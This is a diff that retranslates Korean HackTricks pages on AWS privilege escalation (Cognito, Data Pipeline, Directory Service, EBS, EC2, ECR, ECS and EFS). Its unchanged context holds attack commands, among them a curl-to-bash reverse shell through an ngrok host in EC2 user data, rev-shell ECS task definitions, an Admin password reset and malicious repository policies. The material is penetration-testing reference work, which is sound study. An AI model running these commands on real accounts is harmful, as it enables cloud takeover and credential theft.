+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS 취약점 탐지 프레임워크는 이제 계정의 모든 Cognito 자산을 열거하고 약한 구성, 접근 제어에 사용되는 사용자 속성 등을 플래그하는 "cognito\_\_enum" 및 "cognito\_\_attack" 모듈을 포함하며, 사용자 생성(여기에는 MFA 지원 포함) 및 수정 가능한 사용자 정의 속성, 사용 가능한 ID 풀 자격 증명, ID 토큰에서 가정 가능한 역할에 기반한 권한 상승을 자동화합니다.
 
 모듈 기능에 대한 설명은 [블로그 게시물](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2부를 참조하십시오. 설치 지침은 주요 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 페이지를 참조하십시오.
 
@@ -259,7 +259,7 @@ us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 ```bash
 Pacu (new:test) > run cognito__enum
 ```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 privesc 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 CLI 도구입니다.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner)는 privesc 상승을 포함하여 Cognito에 대한 다양한 공격을 구현하는 파이썬 기반 CLI 도구입니다.
 
 #### 설치
 ```bash
@@ -269,6 +269,6 @@ $ pip install cognito-scanner
 ```bash
 $ cognito-scanner --help
 ```
-자세한 정보는 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)를 확인하세요.
+자세한 내용은 [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)를 확인하세요.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
index a9cc1b71d..04e9a3f0a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
@@ -12,7 +12,7 @@ datapipeline에 대한 자세한 정보는 다음을 확인하세요:
 
 ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
 
-이 **권한을 가진 사용자들은 할당된 역할의 권한을 사용하여 임의의 명령을 실행하는 Data Pipeline을 생성함으로써 권한을 상승시킬 수 있습니다:**
+이 **권한을 가진 사용자들은 Data Pipeline을 생성하여** **할당된 역할의 권한을 사용하여 임의의 명령을 실행함으로써 권한을 상승시킬 수 있습니다:**
 ```bash
 aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
 ```
@@ -52,12 +52,12 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
 > [!NOTE]
 > **14, 15 및 27행**의 **역할**은 **datapipeline.amazonaws.com**에 의해 **가정 가능한 역할**이어야 하며, **28행**의 역할은 **EC2 프로필 인스턴스가 있는 ec2.amazonaws.com에 의해 가정 가능한 역할**이어야 합니다.
 >
-> 또한, EC2 인스턴스는 EC2 인스턴스에 의해 가정 가능한 역할에만 접근할 수 있습니다(따라서 그 역할만 훔칠 수 있습니다).
+> 또한, EC2 인스턴스는 EC2 인스턴스에 의해 가정 가능한 역할에만 접근할 수 있으므로 (그 역할만 훔칠 수 있습니다).
 ```bash
 aws datapipeline put-pipeline-definition --pipeline-id  \
 --pipeline-definition file:///pipeline/definition.json
 ```
-**공격자가 제작한 파이프라인 정의 파일에는 명령을 실행하거나 AWS API를 통해 리소스를 생성하는 지시문이 포함되어 있으며, 데이터 파이프라인의 역할 권한을 활용하여 추가 권한을 얻을 수 있습니다.**
+공격자가 제작한 **파이프라인 정의 파일은 AWS API를 통해 명령을 실행하거나 리소스를 생성하는 지시어를 포함하고 있으며, Data Pipeline의 역할 권한을 활용하여 추가 권한을 얻을 수 있습니다.**
 
 **잠재적 영향:** 지정된 ec2 서비스 역할로의 직접적인 권한 상승.
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
index d6fb736f9..f653d5c56 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
@@ -13,7 +13,7 @@
 ### `ds:ResetUserPassword`
 
 이 권한은 Active Directory에서 **존재하는** 사용자의 **비밀번호**를 **변경**할 수 있게 해줍니다.\
-기본적으로, 유일한 **존재하는** 사용자는 **Admin**입니다.
+기본적으로, 유일한 존재하는 사용자는 **Admin**입니다.
 ```
 aws ds reset-user-password --directory-id  --user-name Admin --new-password Newpassword123.
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
index 838157f27..2f47a15fd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
@@ -12,12 +12,12 @@ dynamodb에 대한 더 많은 정보는 다음을 확인하세요:
 
 ### Post Exploitation
 
-내가 아는 한, AWS에서 **AWS `dynamodb` 권한만으로 권한을 상승시키는 직접적인 방법은 없습니다**. 테이블에서 **민감한** 정보를 읽을 수 있고 (AWS 자격 증명을 포함할 수 있음) **테이블에 정보를 쓸 수 있습니다** (다른 취약점을 유발할 수 있음, 예: lambda 코드 주입...) 하지만 이러한 모든 옵션은 이미 **DynamoDB Post Exploitation 페이지**에서 고려되었습니다:
+제가 아는 한, AWS에서 **AWS `dynamodb` 권한만으로 권한을 상승시키는 직접적인 방법은 없습니다**. 테이블에서 **민감한** 정보를 읽을 수 있고 (AWS 자격 증명이 포함될 수 있음) **테이블에 정보를 쓸 수 있습니다** (이는 다른 취약점을 유발할 수 있습니다, 예: lambda 코드 주입...) 하지만 이러한 모든 옵션은 이미 **DynamoDB Post Exploitation 페이지**에서 고려되었습니다:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md
 {{#endref}}
 
-### TODO: Read data abusing data Streams
+### TODO: 데이터 스트림을 악용하여 데이터 읽기
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
index ba048c138..8730a0199 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
@@ -6,13 +6,13 @@
 
 ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
 
-이 권한을 가진 공격자는 **볼륨 스냅샷을 로컬로 다운로드하고 분석**하여 그 안에서 민감한 정보를 검색할 수 있습니다(예: 비밀 또는 소스 코드). 이를 수행하는 방법은 다음에서 확인하십시오:
+이 권한을 가진 공격자는 **로컬에서 볼륨 스냅샷을 다운로드하고 분석**하여 그 안에서 민감한 정보를 검색할 수 있습니다(예: 비밀 또는 소스 코드). 이를 수행하는 방법은 다음에서 확인하십시오:
 
 {{#ref}}
 ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
 {{#endref}}
 
-`ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`와 같은 다른 권한도 유용할 수 있습니다.
+다른 권한도 유용할 수 있습니다: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
 
 도구 [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy)는 **도메인 컨트롤러에서 비밀번호를 추출하는** 공격을 수행합니다.
 
@@ -20,8 +20,8 @@
 
 ### **`ec2:CreateSnapshot`**
 
-**`EC2:CreateSnapshot`** 권한을 가진 모든 AWS 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 도메인 사용자들의 해시를 훔칠 수 있으며, 이를 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 Impacket의 secretsdump 프로젝트에 사용할 수 있습니다.
+**`EC2:CreateSnapshot`** 권한을 가진 모든 AWS 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 이를 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 Impacket의 secretsdump 프로젝트에 사용할 수 있도록 내보내어 모든 도메인 사용자의 해시를 훔칠 수 있습니다.
 
-이 도구를 사용하여 공격을 자동화할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다.
+이 공격을 자동화하는 도구를 사용할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
index 48ccd8ef2..56d99e01e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md
@@ -4,7 +4,7 @@
 
 ## EC2
 
-EC2에 대한 **자세한 정보**는 다음을 확인하세요:
+**EC2에 대한 더 많은 정보**는 다음을 확인하세요:
 
 {{#ref}}
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -40,7 +40,7 @@ GuradDuty를 사용할 때 인스턴스 외부에서 IAM 역할의 자격 증명
 ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}
 
-**잠재적 영향:** 기존 인스턴스 프로필에 연결된 모든 EC2 역할로 직접적인 권한 상승.
+**잠재적 영향:** 기존 인스턴스 프로필에 연결된 모든 EC2 역할로의 직접적인 권한 상승.
 
 #### ECS로의 권한 상승
 
@@ -59,7 +59,7 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-ECS 서비스를 이 새로운 EC2 인스턴스에서 **강제로 실행하는 방법**을 배우려면 다음을 확인하세요:
+ECS 서비스를 **강제로 실행**하기 위해 이 새로운 EC2 인스턴스에서 확인하세요:
 
 {{#ref}}
 aws-ecs-privesc.md
@@ -72,7 +72,7 @@ aws-ecs-privesc.md
 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
 
 이전 시나리오와 유사하게, 이러한 권한을 가진 공격자는 **손상된 인스턴스의 IAM 역할을 변경**하여 새로운 자격 증명을 탈취할 수 있습니다.\
-인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 **이미 역할을 가지고 있는 경우**(일반적인 경우) **`iam:RemoveRoleFromInstanceProfile`**도 필요합니다.
+인스턴스 프로필은 1개의 역할만 가질 수 있으므로, 인스턴스 프로필이 **이미 역할을 가지고 있는 경우** (일반적인 경우), **`iam:RemoveRoleFromInstanceProfile`** 권한도 필요합니다.
 ```bash
 # Removing role from instance profile
 aws iam remove-role-from-instance-profile --instance-profile-name  --role-name 
@@ -80,9 +80,9 @@ aws iam remove-role-from-instance-profile --instance-profile-name  --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name  --role-name 
 ```
-만약 **인스턴스 프로파일에 역할이** 있고 공격자가 **제거할 수 없다면**, 다른 우회 방법이 있다. 그는 **역할이 없는 인스턴스 프로파일을 찾거나** **새로운 것을 생성할 수 있다** (`iam:CreateInstanceProfile`), **그 역할을 해당 인스턴스 프로파일에 추가하고** (앞서 논의한 대로), **손상된 인스턴스에 손상된 인스턴스 프로파일을 연결할 수 있다:**
+인스턴스 프로파일에 역할이 있고 공격자가 이를 제거할 수 없는 경우, 다른 우회 방법이 있습니다. 그는 역할이 없는 인스턴스 프로파일을 찾거나 새로 만들 수 있습니다 (`iam:CreateInstanceProfile`), 그 인스턴스 프로파일에 역할을 추가하고 (앞서 논의한 대로) 손상된 인스턴스에 손상된 인스턴스 프로파일을 연결할 수 있습니다:
 
-- 만약 인스턴스에 **인스턴스 프로파일이 없다면** (`ec2:AssociateIamInstanceProfile`) \*
+- 인스턴스에 인스턴스 프로파일이 없는 경우 (`ec2:AssociateIamInstanceProfile`) \*
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id 
 ```
@@ -90,9 +90,9 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
 
 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
 
-이 권한을 사용하면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면 연결된 인스턴스 프로필 역할에 대한 자격 증명을 훔칠 수 있습니다.
+이 권한을 사용하면 인스턴스에 연결된 인스턴스 프로필을 변경할 수 있으므로, 공격자가 이미 인스턴스에 접근할 수 있다면, 연결된 인스턴스 프로필을 변경하여 더 많은 인스턴스 프로필 역할에 대한 자격 증명을 훔칠 수 있습니다.
 
-- 만약 **인스턴스 프로필이 있다면**, 인스턴스 프로필을 **제거**할 수 있습니다(`ec2:DisassociateIamInstanceProfile`) 그리고 **연결**할 수 있습니다.
+- **인스턴스 프로필이 있는 경우**, 인스턴스 프로필을 **제거**할 수 있습니다 (`ec2:DisassociateIamInstanceProfile`) 그리고 **연결**할 수 있습니다.
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id 
@@ -123,7 +123,7 @@ aws ec2 request-spot-instances \
 
 **`ec2:ModifyInstanceAttribute`** 권한을 가진 공격자는 인스턴스 속성을 수정할 수 있습니다. 그 중에서 그는 **사용자 데이터를 변경**할 수 있으며, 이는 인스턴스가 **임의의 데이터를 실행**하도록 만들 수 있음을 의미합니다. 이는 **EC2 인스턴스에 대한 rev shell을 얻는 데** 사용될 수 있습니다.
 
-속성은 **인스턴스가 중지되어 있을 때만** **수정**할 수 있으므로, **권한** **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다.
+속성은 **인스턴스가 중지되어 있는 동안에만** 수정할 수 있으므로, **권한** **`ec2:StopInstances`** 및 **`ec2:StartInstances`**가 필요합니다.
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -160,11 +160,11 @@ aws ec2 modify-instance-attribute \
 
 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Potential Impact:** 생성된 인스턴스에 연결된 모든 EC2 IAM 역할로 직접 권한 상승.
+**잠재적 영향:** 생성된 인스턴스에 연결된 모든 EC2 IAM 역할로 직접 권한 상승.
 
 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
 
-**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한을 가진 공격자는 **사용자 데이터**에 **rev shell**을 포함한 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **모든 Autoscaler 그룹**이 해당 템플릿을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다.
+**`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` 및 `ec2:ModifyLaunchTemplate`** 권한을 가진 공격자는 **사용자 데이터**에 **rev shell**이 포함된 **새 Launch Template 버전**을 생성하고, 기본 버전을 변경하며, **최신** 또는 **기본 버전**을 사용하도록 **구성된** **Autoscaler 그룹**이 해당 **Launch Template**을 사용하여 **인스턴스를 다시 실행**하고 rev shell을 실행하게 됩니다.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -182,7 +182,7 @@ aws ec2 modify-launch-template \
 
 ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
 
-**`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 **사용자 데이터**에 포함한 **Launch Configuration**을 **생성**한 다음, 해당 구성에서 **autoscaling 그룹**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다.
+**`autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 **사용자 데이터**에 포함한 **Launch Configuration**을 **생성**할 수 있으며, 그 구성에서 **autoscaling 그룹**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -202,7 +202,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
 
 ### `!autoscaling`
 
-권한 세트 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances` 권한이 필요합니다** (이는 알려진 권한 상승입니다).
+권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances` 권한이 필요합니다** (이는 알려진 권한 상승입니다).
 
 ### `ec2-instance-connect:SendSSHPublicKey`
 
@@ -217,9 +217,9 @@ aws ec2-instance-connect send-ssh-public-key \
 
 ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
 
-**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 권한을 가진 공격자는 **직렬 연결에 ssh 키를 추가할 수 있습니다**. 직렬 연결이 활성화되지 않은 경우, 공격자는 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**.
+**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 권한이 있는 공격자는 **직렬 연결에 ssh 키를 추가할 수 있습니다**. 직렬 연결이 활성화되지 않은 경우, 공격자는 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**.
 
-직렬 포트에 연결하기 위해서는 **기계 내부의 사용자 이름과 비밀번호를 알아야 합니다**.
+직렬 포트에 연결하려면 **기계 내부의 사용자 이름과 비밀번호를 알아야 합니다**.
 ```bash
 aws ec2 enable-serial-console-access
 
@@ -233,7 +233,7 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
 ```
 이 방법은 이를 악용하기 위해 사용자 이름과 비밀번호를 알아야 하므로 권한 상승에 그다지 유용하지 않습니다.
 
-**Potential Impact:** (매우 입증하기 어려움) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
+**잠재적 영향:** (매우 입증할 수 없음) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
 
 ### `describe-launch-templates`,`describe-launch-template-versions`
 
@@ -254,7 +254,7 @@ done
 
 `aws_access_key_id`와 `aws_secret_access_key`를 찾으면, 이 자격 증명을 사용하여 AWS에 인증할 수 있습니다.
 
-**잠재적 영향:** IAM 사용자에게 직접적인 권한 상승.
+**잠재적 영향:** IAM 사용자에게 직접 권한 상승.
 
 ## References
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
index 838021ef8..f0aebad9c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
@@ -14,7 +14,7 @@
 ../aws-post-exploitation/aws-ecr-post-exploitation.md
 {{#endref}}
 
-**Potential Impact:** 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승이 발생할 수 있습니다.
+**잠재적 영향:** 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승이 발생할 수 있습니다.
 
 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
 
@@ -60,7 +60,7 @@ aws ecr set-repository-policy \
 ### `ecr-public:SetRepositoryPolicy`
 
 이전 섹션과 유사하지만 공개 리포지토리에 대한 것입니다.\
-공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 무단 공개 액세스를 부여하거나 자신의 권한을 상승시킬 수 있습니다.
+공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 무단 공개 액세스를 허용하거나 자신의 권한을 상승시킬 수 있습니다.
 ```bash
 bashCopy code# Create a JSON file with the malicious public repository policy
 echo '{
@@ -87,11 +87,11 @@ echo '{
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-**잠재적 영향**: ECR Public 리포지토리에 대한 무단 공개 접근이 가능하여, 모든 사용자가 이미지를 푸시, 풀 또는 삭제할 수 있습니다.
+**잠재적 영향**: ECR Public 저장소에 대한 무단 공개 접근으로 인해 모든 사용자가 이미지를 푸시, 풀 또는 삭제할 수 있습니다.
 
 ### `ecr:PutRegistryPolicy`
 
-이 권한을 가진 공격자는 **레지스트리 정책**을 **변경**하여 자신, 자신의 계정(또는 모든 사용자)에게 **읽기/쓰기 접근**을 부여할 수 있습니다.
+이 권한을 가진 공격자는 **레지스트리 정책**을 변경하여 자신, 자신의 계정(또는 모든 사용자)에게 **읽기/쓰기 접근**을 부여할 수 있습니다.
 ```bash
 aws ecr set-repository-policy \
 --repository-name  \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index 15759c42c..ac9605c88 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -4,7 +4,7 @@
 
 ## ECS
 
-ECS에 대한 **더 많은 정보**는 다음에서 확인할 수 있습니다:
+ECS에 대한 **더 많은 정보**는:
 
 {{#ref}}
 ../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ ECS에 대한 **더 많은 정보**는 다음에서 확인할 수 있습니다:
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
-ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **악성 컨테이너**가 포함된 **새 작업 정의**를 **생성**하고 이를 **실행**할 수 있습니다.
+`iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **악성 컨테이너**가 메타데이터 자격 증명을 훔치는 **새 작업 정의**를 **생성**하고 **실행**할 수 있습니다.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -98,10 +98,10 @@ aws ecs run-task \
 
 이 시나리오는 이전과 유사하지만 **`iam:PassRole`** 권한이 **없는** 경우입니다.\
 여전히 흥미로운 점은 임의의 컨테이너를 실행할 수 있다면, 역할 없이도 **특권 컨테이너를 실행하여** 노드로 탈출하고 **EC2 IAM 역할** 및 노드에서 실행 중인 **다른 ECS 컨테이너 역할**을 **탈취**할 수 있다는 것입니다.\
-또한 **당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행**하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 [**노드로의 권한 상승 섹션**](aws-ecs-privesc.md#privesc-to-node)에서 논의됨).
+또한 **당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행**하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 [**노드 섹션으로의 권한 상승**](aws-ecs-privesc.md#privesc-to-node)에서 논의됨).
 
 > [!WARNING]
-> 이 공격은 **ECS 클러스터가 EC2** 인스턴스를 사용하고 Fargate를 사용하지 않는 경우에만 가능합니다.
+> 이 공격은 **ECS 클러스터가 EC2** 인스턴스를 사용하고 있을 때만 가능합니다.
 ```bash
 printf '[
 {
@@ -172,7 +172,7 @@ aws ecs execute-command --interactive \
 - 그가 **`ecs:CreateService`** 권한이 있다면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하십시오.
 - 그가 **`ecs:UpdateService`** 권한이 있다면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하십시오.
 
-**이 옵션의 예시**는 **이전 ECS privesc 섹션**에서 찾을 수 있습니다.
+**이 옵션들의 예시**는 **이전 ECS privesc 섹션**에서 찾을 수 있습니다.
 
 **잠재적 영향:** 컨테이너에 연결된 다른 역할로의 권한 상승.
 
@@ -186,7 +186,7 @@ aws-ssm-privesc.md
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
-**ec2 privesc 페이지**에서 이 권한을 어떻게 악용하여 **ECS로 권한 상승**할 수 있는지 확인하십시오:
+**ec2 privesc 페이지**에서 이 권한들을 어떻게 악용하여 **ECS로 권한 상승**할 수 있는지 확인하십시오:
 
 {{#ref}}
 aws-ec2-privesc.md
@@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
 # Update the primary task set for the service
 aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
 ```
-**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 기능에 영향을 미치거나 민감한 데이터를 유출할 수 있습니다.
+**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다.
 
 ## 참조
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 00d237229..6ef9dbf05 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -10,7 +10,7 @@ EFS에 대한 **더 많은 정보**는 다음에서 확인하세요:
 ../aws-services/aws-efs-enum.md
 {{#endref}}
 
-EFS를 마운트하려면 EFS가 노출된 서브네트워크에 있어야 하며 이에 대한 접근 권한(보안 그룹)이 필요합니다. 이러한 상황이 발생하면 기본적으로 항상 마운트할 수 있지만, IAM 정책으로 보호되는 경우 여기에서 언급된 추가 권한이 필요합니다.
+EFS를 마운트하려면 EFS가 노출된 서브네트워크에 있어야 하며 이에 대한 접근 권한(보안 그룹)이 필요합니다. 이러한 조건이 충족되면 기본적으로 항상 마운트할 수 있지만, IAM 정책에 의해 보호되는 경우 여기에서 언급된 추가 권한이 필요합니다.
 
 ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
 
@@ -53,18 +53,18 @@ aws efs put-file-system-policy --file-system-id  --policy file:///tmp/pol
 ```
 ### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
 
-이 권한을 통해 공격자는 **EFS를 마운트**할 수 있습니다. EFS를 마운트할 수 있는 모든 사용자에게 기본적으로 쓰기 권한이 부여되지 않는 경우, 그는 **읽기 접근**만 가질 것입니다.
+이 권한을 통해 공격자는 **EFS를 마운트**할 수 있습니다. EFS를 마운트할 수 있는 모든 사용자에게 기본적으로 쓰기 권한이 부여되지 않는 경우, 그는 **읽기 권한**만 가집니다.
 ```bash
 sudo mkdir /efs
 sudo mount -t efs -o tls,iam  :/ /efs/
 ```
-The extra permissions `elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**.
+추가 권한 `elasticfilesystem:ClientRootAccess` 및 `elasticfilesystem:ClientWrite`는 파일 시스템이 마운트된 후 **쓰기** 및 **루트**로 해당 파일 시스템에 **접근**하는 데 사용할 수 있습니다.
 
-**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
+**잠재적 영향:** 파일 시스템에서 민감한 정보를 찾아 간접적인 권한 상승.
 
 ### `elasticfilesystem:CreateMountTarget`
 
-공격자가 EFS의 **마운트 대상**이 존재하지 않는 **서브네트워크**에 있는 경우, 이 권한으로 **자신의 서브넷에 하나를 생성**할 수 있습니다.
